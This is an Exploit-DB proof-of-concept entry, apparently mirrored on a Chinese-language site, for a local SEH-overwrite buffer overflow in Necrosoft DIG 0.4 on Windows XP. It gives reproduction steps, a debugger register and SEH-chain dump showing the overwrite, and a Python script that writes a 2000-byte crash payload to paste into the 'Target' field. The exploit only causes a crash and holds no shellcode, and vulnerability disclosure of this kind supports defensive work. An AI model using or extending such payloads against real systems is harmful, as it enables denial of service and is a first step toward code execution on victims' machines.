Necrosoft DIG 0.4 – Buffer Overflow (PoC) (SEH Overwrite)

  • 作者： Rafael Pedrero
    日期： 2019-01-30
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/46287/
  • # Exploit Title: Necrosoft DIG v0.4 - Denial of Service (PoC) SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2005-01-10
# Vendor Homepage: http://www.nscan.org/?index=dns
# Software Link : http://www.nscan.org/?index=dns
# Tested Version: 0.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run Necrosoft DIG v0.4 (dig.exe)
# 2.- copy content DIG_Crash.txt to clipboard (result from this python script)
# 3.- Paste the content into the field: 'Target'
# 4.- Click 'TCP lookup' button and you will see a crash.


'''
SEH chain of thread 000003CC
AddressSE handler
00D9FF08 43434343
42424242 *** CORRUPT ENTRY ***


EAX 0000000E
ECX 000004D2
EDX 000004E0
EBX 00000041
ESP 00D9FACC
EBP 0012FB60
ESI 00D9FB20
EDI 009284C5 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 004036B2 DIG.004036B2
C 0ES 0023 32bit 0(FFFFFFFF)
P 1CS 001B 32bit 0(FFFFFFFF)
A 0SS 0023 32bit 0(FFFFFFFF)
Z 0DS 0023 32bit 0(FFFFFFFF)
S 1FS 003B 32bit 7FFDB000(FFF)
T 0GS 0000 NULL
D 0
O 0LastErr ERROR_SUCCESS (00000000)
EFL 00010286 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
 3 2 1 0E S P U O Z D I
FST 0000Cond 0 0 0 0Err 0 0 0 0 0 0 0 0(GT)
FCW 027FPrec NEAR,53Mask1 1 1 1 1 1


'''

#!/usr/bin/env python

junk = "\x41" * 985
crash = junk + "BBBB" + "CCCC" + "\x41" * (2000 - 985 - 4 - 4)
print "SEH overwritten Crash, full payload length =",len(crash)
f = open ("DIG_Crash.txt", "w")
f.write(crash)
f.close()